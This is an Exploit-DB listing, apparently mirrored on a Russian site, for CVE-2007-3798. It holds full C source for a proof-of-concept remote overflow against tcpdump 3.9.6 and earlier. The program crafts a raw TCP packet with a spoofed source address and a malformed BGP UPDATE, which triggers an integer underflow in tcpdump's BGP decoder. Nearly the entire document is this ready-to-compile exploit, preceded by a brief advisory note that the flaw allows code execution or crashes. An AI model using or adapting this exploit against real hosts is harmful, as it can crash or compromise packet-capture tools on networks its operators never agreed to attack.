- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 30319
- Проверка EDB
-
- Пройдено
- Автор
- MU-B
- Тип уязвимости
- REMOTE
- Платформа
- LINUX
- CVE
- cve-2007-3798
- Дата публикации
- 2007-03-01
C:
// source: https://www.securityfocus.com/bid/24965/info
The 'tcpdump' utility is prone to an integer-underflow vulnerability because it fails to bounds-check user-supplied input before copying it into an insufficiently sized memory buffer.
An attacker can exploit this issue to execute arbitrary malicious code in the context of the user running the affected application. Failed exploit attempts will likely crash the affected application.
This issue affects tcpdump 3.9.6 and prior versions.
/* tcpdump-bgp.c
*
* tcpdump <= 3.9.6 BGP UPDATE remote overflow POC (lnx)
* by mu-b - July 2007
*
* - Tested on: tcpdump-3.9.6 (.tar.gz)
*
* simple snprintf length integer overflow...
*/
#include <stdio.h>
#include <stdlib.h>
#define __FAVOR_BSD
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define TH_PUSH 0x08
#define PORT_BGP 179
#define PKT_LEN 512
#define BGPTYPE_MP_REACH_NLRI 14
#define AFNUM_L2VPN 196
#define SAFNUM_VPNUNICAST 128
static unsigned short
ip_sum (const unsigned short *ptr, int len)
{
register int sum = 0;
while (len > 1)
{
sum += *ptr++;
len -= 2;
}
if (len == 1)
sum += *((unsigned char *) ptr);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return (~sum);
}
int
main (void)
{
int raw_fd, opt_val, *popt_val;
char buf[4096], *ptr;
struct ip *iph;
struct tcphdr *tcph;
struct sockaddr_in sin;
printf ("tcpdump <= 3.9.6 BGP UPDATE remote overflow POC\n"
"by mu-b <[email protected]>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
if ((raw_fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
{
perror ("socket ()");
exit (EXIT_FAILURE);
}
opt_val = 1;
popt_val = &opt_val;
if (setsockopt (raw_fd, IPPROTO_IP, IP_HDRINCL, popt_val, sizeof opt_val) < 0)
{
perror ("setsockopt ()");
exit (EXIT_FAILURE);
}
sin.sin_family = AF_INET;
sin.sin_port = htons (PORT_BGP);
sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
memset (buf, 0, 4096);
iph = (struct ip *) buf;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = htons (sizeof (struct ip) + sizeof (struct tcphdr) + PKT_LEN);
iph->ip_id = htonl (54321);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0;
iph->ip_src.s_addr = inet_addr ("1.2.3.4");
iph->ip_dst.s_addr = sin.sin_addr.s_addr;
iph->ip_sum = ip_sum ((unsigned short *) buf, sizeof (struct ip));
tcph = (struct tcphdr *) (buf + sizeof (struct ip));
tcph->th_sport = htons (65535);
tcph->th_dport = htons (PORT_BGP);
tcph->th_seq = rand ();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = sizeof (struct tcphdr) / 4;
tcph->th_flags = TH_PUSH;
tcph->th_win = htonl (65535);
tcph->th_sum = 0;
tcph->th_urp = 0;
ptr = buf + sizeof (struct ip) + sizeof (struct tcphdr);
memset (ptr, 0xFF, 16); /* marker */
ptr += 16;
*ptr++ = 0x02; /* length */
*ptr++ = 0x00;
*ptr++ = 0x02; /* type = BGP_UPDATE */
*ptr++ = 0x00; /* length */
*ptr++ = 0x00;
*ptr++ = 0x00; /* length */
*ptr++ = 0xFF;
*ptr++ = 0x00; /* attr flags */
*ptr++ = BGPTYPE_MP_REACH_NLRI; /* attr type */
*ptr++ = 0xFF; /* attr length */
*ptr++ = (AFNUM_L2VPN << 8) & 0xFF;
*ptr++ = AFNUM_L2VPN & 0xFF;
*ptr++ = SAFNUM_VPNUNICAST;
*ptr++ = 0x00; /* Next-HOP */
*ptr++ = 0x00; /* SNPA */
/* decode_labeled_vpn_l2 */
*ptr++ = 0xFF; /* tlen = plen */
*ptr++ = 0xFF;
memset (ptr, 0xFF, 15); /* marker */
ptr += 15;
*ptr++ = 0x01; /* type */
*ptr++ = 0x02; /* len */
*ptr++ = 0x50;
memset (ptr, 0x41, PKT_LEN);
if (sendto (raw_fd, buf, sizeof (struct ip) + sizeof (struct tcphdr) + PKT_LEN, 0,
(struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror ("sendto ()");
exit (EXIT_FAILURE);
}
return (EXIT_SUCCESS);
}
- Источник
- www.exploit-db.com